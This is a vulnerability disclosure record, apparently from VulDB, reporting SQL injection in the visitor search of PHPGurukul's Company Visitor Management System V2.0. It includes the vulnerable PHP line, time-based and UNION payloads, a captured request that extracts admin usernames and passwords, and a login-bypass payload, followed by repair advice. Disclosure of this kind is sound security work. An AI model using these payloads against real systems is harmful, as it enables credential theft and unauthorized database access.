| Title | PHPGurukul Company Visitor Management System PHP V2.0 SQL injection (CWE-89) |
|---|
| Description | # NAME OF AFFECTED PRODUCT(S)
- Company Visitor Management System PHP
## Vendor Homepage
- https://phpgurukul.com/company-visitor-management-system-using-php-and-mysql/
# AFFECTED AND/OR FIXED VERSION(S)
## submitter
- mzxqqwq
## Vulnerable File
- /search-visitor.php
## VERSION(S)
- V2.0
## Software Link
- https://phpgurukul.com/company-visitor-management-system-using-php-and-mysql/
# PROBLEM TYPE
## Vulnerability Type
- SQL injection (CWE-89)
## Root Cause
- A SQL injection vulnerability was found in the '/search-visitor.php' file of the 'Company Visitor Management System PHP' project. The reason for this issue is that attackers inject malicious code from the parameter 'searchdata' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.
## Impact
- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.
# DESCRIPTION
- During the security review of "Company Visitor Management System PHP V2.0", I discovered a critical SQL injection vulnerability in the "/search-visitor.php" file. This vulnerability stems from insufficient user input validation of the 'searchdata' parameter, allowing attackers to inject malicious SQL queries through the visitor search functionality. The vulnerable code directly concatenates user input into a SQL LIKE clause without any sanitization. This endpoint is located behind the admin authentication (an authenticated session is required), and the SQL injection can be exploited by any authenticated admin user to extract sensitive data from the database, including other administrators' credentials. Immediate remedial measures are needed to ensure system security and protect data integrity.
# Admin login is required to exploit this vulnerability, but the login itself can be bypassed
The `/search-visitor.php` endpoint requires an authenticated admin session. However, the login mechanism in `/index.php` is also vulnerable to SQL injection (CVE-2025-2473). An attacker can first bypass authentication using the payload `' OR '1'='1' LIMIT 1-- -` with any password, obtain a valid admin session, and then proceed to exploit this vulnerability. This makes the overall attack effectively unauthenticated.
# Vulnerability details and POC
## Vulnerability lonameion:
- 'searchdata' parameter
## Vulnerability code location:
/search-visitor.php line 82-105:
```php
if(isset($_POST['search']))
{
$sdata=$_POST['searchdata'];
// ...
$ret=mysqli_query($con,"select *from tblvisitor where FullName like '$sdata%'||MobileNumber like '$sdata%'");
```
The `$sdata` variable is taken directly from `$_POST['searchdata']` and concatenated into the SQL query with no filtering, escaping, or parameterization whatsoever.
## Payload:
```makefile
Parameter: searchdata (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=1&searchdata=test' AND (SELECT 3841 FROM (SELECT(SLEEP(5)))nQcG) AND 'abcd'='abcd
Parameter: searchdata (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: search=1&searchdata=test' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11-- -
```
## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:
```bash
sqlmap.py -r 1.txt --dbs --level 3
1.txt
POST /cvms/search-visitor.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 111
Cache-Control: max-age=0
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/cvms/manage-newvisitors.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=kgpu79k4p04anqtiaj03b6rps2
Connection: keep-alive
searchdata=%27+UNION+SELECT+1%2CUserName%2CPassword%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11+FROM+tbladmin--+-&search=
```
# Suggested repair
1. **Use prepared statements and parameter binding:**
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
2. **Input validation and filtering:**
Strictly validate and filter user input data to ensure it conforms to the expected format.
3. **Minimize database user permissions:**
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as 'root' or 'admin') for daily operations.
4. **Regular security audits:**
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities. |
|---|
| Source | ⚠️ https://github.com/mzxqqwq/CVE/issues/1 |
|---|
| User | mzxqqwq (UID 99169) |
|---|
| Submission | 06/21/2026 10:43 (4 months ago) |
|---|
| Moderation | 08/06/2026 22:15 (2 months later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 251377 [PHPGurukul Company Visitor Management System 1.0 search-visitor.php sql injection] |
|---|
| Points | 0 |
|---|